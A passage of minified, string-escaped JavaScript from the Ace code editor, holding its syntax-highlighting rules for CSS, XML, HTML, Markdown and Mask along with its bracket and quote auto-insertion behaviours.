e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/markdown_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";function c(e,t){return{token:\"support.function\",regex:\"^\\\\s*```\"+e+\"\\\\s*$\",push:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./css_highlight_rules\").CssHighlightRules,l=function(e){return\"(?:[^\"+i.escapeRegExp(e)+\"\\\\\\\\]|\\\\\\\\.)*\"},h=function(){a.call(this),this.$rules.start.unshift({token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"markup.heading.1\",regex:\"^=+(?=\\\\s*$)\"},{token:\"markup.heading.2\",regex:\"^\\\\-+(?=\\\\s*$)\"},{token:function(e){return\"markup.heading.\"+e.length},regex:/^#{1,6}(?=\\s*[^ #]|\\s+#.)/,next:\"header\"},c(\"(?:javascript|js)\",\"jscode-\"),c(\"xml\",\"xmlcode-\"),c(\"html\",\"htmlcode-\"),c(\"css\",\"csscode-\"),{token:\"support.function\",regex:\"^\\\\s*```\\\\s*\\\\S*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{token:\"constant\",regex:\"^ {0,2}(?:(?: ?\\\\* ?){3,}|(?: ?\\\\- ?){3,}|(?: ?\\\\_ ?){3,})\\\\s*$\",next:\"allowBlock\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\"}),this.addRules({basic:[{token:\"constant.language.escape\",regex:/\\\\[\\\\`*_{}\\[\\]()#+\\-.!]/},{token:\"support.function\",regex:\"(`+)(.*?[^`])(\\\\1)\"},{token:[\"text\",\"constant\",\"text\",\"url\",\"string\",\"text\"],regex:'^([ ]{0,3}\\\\[)([^\\\\]]+)(\\\\]:\\\\s*)([^ ]+)(\\\\s*(?:[\"][^\"]+[\"])?(\\\\s*))$'},{token:[\"text\",\"string\",\"text\",\"constant\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]s*\\\\[)(\"+l(\"]\")+\")(\\\\])\"},{token:[\"text\",\"string\",\"text\",\"markup.underline\",\"string\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]\\\\()\"+'((?:[^\\\\)\\\\s\\\\\\\\]|\\\\\\\\.|\\\\s(?=[^\"]))*)'+'(\\\\s*\"'+l('\"')+'\"\\\\s*)?'+\"(\\\\))\"},{token:\"string.strong\",regex:\"([*]{2}|[_]{2}(?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:\"string.emphasis\",regex:\"([*]|[_](?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:[\"text\",\"url\",\"text\"],regex:\"(<)((?:https?|ftp|dict):[^'\\\">\\\\s]+|(?:mailto:)?[-.\\\\w]+\\\\@[-a-z0-9]+(?:\\\\.[-a-z0-9]+)*\\\\.[a-z]+)(>)\"}],allowBlock:[{token:\"support.function\",regex:\"^ {4}.+\",next:\"allowBlock\"},{token:\"empty\",regex:\"\",next:\"start\"}],header:[{regex:\"$\",next:\"start\"},{include:\"basic\"},{defaultToken:\"heading\"}],\"listblock-start\":[{token:\"support.variable\",regex:/(?:\\[[ x]\\])?/,next:\"listblock\"}],listblock:[{token:\"empty_line\",regex:\"^$\",next:\"start\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\",noEscape:!0},{token:\"support.function\",regex:\"^\\\\s*```\\\\s*[a-zA-Z]*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{defaultToken:\"list\"}],blockquote:[{token:\"empty_line\",regex:\"^\\\\s*$\",next:\"start\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{include:\"basic\",noEscape:!0},{defaultToken:\"string.blockquote\"}],githubblock:[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"start\"},{token:\"support.function\",regex:\".+\"}]}),this.embedRules(o,\"jscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(a,\"htmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(f,\"csscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(u,\"xmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.normalizeRules()};r.inherits(h,s),t.MarkdownHighlightRules=h}),ace.define(\"ace/mode/mask_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/css_highlight_rules\",\"ace/mode/markdown_highlight_rules\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";function N(){function t(e,t,n){var r=\"js-\"+e+\"-\",i=e===\"block\"?[\"start\"]:[\"start\",\"no_regex\"];s(o,r,t,i,n)}function n(){s(u,\"css-block-\",/\\}/)}function r(){s(a,\"md-multiline-\",/(\"\"\"|''')/,[])}function i(){s(f,\"html-multiline-\",/(\"\"\"|''')/)}function s(t,n,r,i,s){var o=\"pop\",u=i||[\"start\"];u.length===0&&(u=null),/block|multiline/.test(n)&&(o=n+\"end\",e.$rules[o]=[k(\"empty\",\"\",\"start\")]),e.embedRules(t,n,[k(s||w,r,o)],u,u==null?!0:!1)}this.$rules={start:[k(\"comment\",\"\\\\/\\\\/.*$\"),k(\"comment\",\"\\\\/\\\\*\",[k(\"comment\",\".*?\\\\*\\\\/\",\"start\"),k(\"comment\",\".+\")]),C.string(\"'''\"),C.string('\"\"\"'),C.string('\"'),C.string(\"'\"),C.syntax(/(markdown|md)\\b/,\"md-multiline\",\"multiline\"),C.syntax(/html\\b/,\"html-multiline\",\"multiline\"),C.syntax(/(slot|event)\\b/,\"js-block\",\"block\"),C.syntax(/style\\b/,\"css-block\",\"block\"),C.syntax(/var\\b/,\"js-statement\",\"attr\"),C.tag(),k(b,\"[[({>]\"),k(w,\"[\\\\])};]\",\"start\"),{caseInsensitive:!0}]};var e=this;t(\"interpolation\",/\\]/,w+\".\"+g),t(\"statement\",/\\)|}|;/),t(\"block\",/\\}/),n(),r(),i(),this.normalizeRules()}function k(e,t,n){var r,i,s;return arguments.length===4?(r=n,i=arguments[3]):typeof n==\"string\"?i=n:r=n,typeof e==\"function\"&&(s=e,e=\"empty\"),{token:e,regex:t,push:r,next:i,onMatch:s}}t.MaskHighlightRules=N;var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./css_highlight_rules\").CssHighlightRules,a=e(\"./markdown_highlight_rules\").MarkdownHighlightRules,f=e(\"./html_highlight_rules\").HtmlHighlightRules,l=\"keyword.support.constant.language\",c=\"support.function.markup.bold\",h=\"keyword\",p=\"constant.language\",d=\"keyword.control.markup.italic\",v=\"support.variable.class\",m=\"keyword.operator\",g=\"markup.italic\",y=\"markup.bold\",b=\"paren.lparen\",w=\"paren.rparen\",E,S,x,T;(function(){E=i.arrayToMap(\"log\".split(\"|\")),x=i.arrayToMap(\":dualbind|:bind|:import|slot|event|style|html|markdown|md\".split(\"|\")),S=i.arrayToMap(\"debugger|define|var|if|each|for|of|else|switch|case|with|visible|+if|+each|+for|+switch|+with|+visible|include|import\".split(\"|\")),T=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\"))})(),r.inherits(N,s);var C={string:function(e,t){var n=k(\"string.start\",e,[k(b+\".\"+g,/~\\[/,C.interpolation()),k(\"string.end\",e,\"pop\"),{defaultToken:\"string\"}],t);if(e.length===1){var r=k(\"string.escape\",\"\\\\\\\\\"+e);n.push.unshift(r)}return n},interpolation:function(){return[k(d,/\\s*\\w*\\s*:/),\"js-interpolation-start\"]},tagHead:function(e){return k(v,e,[k(v,/[\\w\\-_]+/),k(b+\".\"+g,/~\\[/,C.interpolation()),C.goUp()])},tag:function(){return{token:\"tag\",onMatch:function(e){return void 0!==S[e]?h:void 0!==x[e]?p:void 0!==E[e]?\"support.function\":void 0!==T[e.toLowerCase()]?l:c},regex:/([@\\w\\-_:+]+)|((^|\\s)(?=\\s*(\\.|#)))/,push:[C.tagHead(/\\./),C.tagHead(/\\#/),C.expression(),C.attribute(),k(b,/[;>{]/,\"pop\")]}},syntax:function(e,t,n){return{token:p,regex:e,push:{attr:[t+\"-start\",k(m,/;/,\"start\")],multiline:[C.tagHead(/\\./),C.tagHead(/\\#/),C.attribute(),C.expression(),k(b,/[>\\{]/),k(m,/;/,\"start\"),k(b,/'''|\"\"\"/,[t+\"-start\"])],block:[C.tagHead(/\\./),C.tagHead(/\\#/),C.attribute(),C.expression(),k(b,/\\{/,[t+\"-start\"])]}[n]}},attribute:function(){return k(function(e){return/^x\\-/.test(e)?v+\".\"+y:v},/[\\w_-]+/,[k(m,/\\s*=\\s*/,[C.string('\"'),C.string(\"'\"),C.word(),C.goUp()]),C.goUp()])},expression:function(){return k(b,/\\(/,[\"js-statement-start\"])},word:function(){return k(\"string\",/[\\w-_]+/)},goUp:function(){return k(\"text\",\"\",\"pop\")},goStart:function(){return k(\"text\",\"\",\"start\")}}}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var 